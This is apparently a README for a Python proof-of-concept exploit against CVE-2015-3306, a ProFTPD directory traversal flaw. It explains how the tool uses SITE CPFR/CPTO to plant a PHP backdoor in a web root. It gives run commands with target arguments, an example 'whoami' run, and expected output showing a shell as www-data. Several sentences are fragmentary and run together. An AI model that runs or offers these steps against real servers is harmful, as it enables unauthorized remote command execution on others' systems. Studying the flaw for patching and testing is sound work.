该仓库包含针对 CVE-2015-3306 的 Python 概念验证(PoC)漏洞利用代码。
⚠️ 警告: 仅可对您拥有或已获得明确测试许可的系统使用。未经授权的利用属于违法行为。
Mohamed EL-KHAROUATI
CVE-2015-3306 是 ProFTPD 1.3.5b 及更早版本中的一个目录遍历漏洞。该漏洞利用工具允许复制任意文件,并将 PHP 后门放入 Web 根目录。该后门可执行任意 shell 命令。
SITE CPFR/CPTO FTP 命令利用目录遍历漏洞。backdoor.php)放入指定的 Web 根目录。--rcommand 自定义命令。requests 库(pip install requests)# Run the exploit
python3 exploit.py --rhost <target_ip> --rport <ftp_port> --rpath <web_root_path> --rcommand <shell_command>
# Example:
python3 exploit.py --rhost <target_ip> --rport <targetftp_port> --rpath /var/www/html --rcommand whoami
# Expected Output:
[+] CVE-2015-3306 exploit by Mohamed EL-KHAROUATI
[+] Exploiting <target_ip>
[+] Running Command whoami
[+] Target exploited, accessing shell at http://<target_ip> /backdoor.php
[+] Running whoami: www-data
[+] Done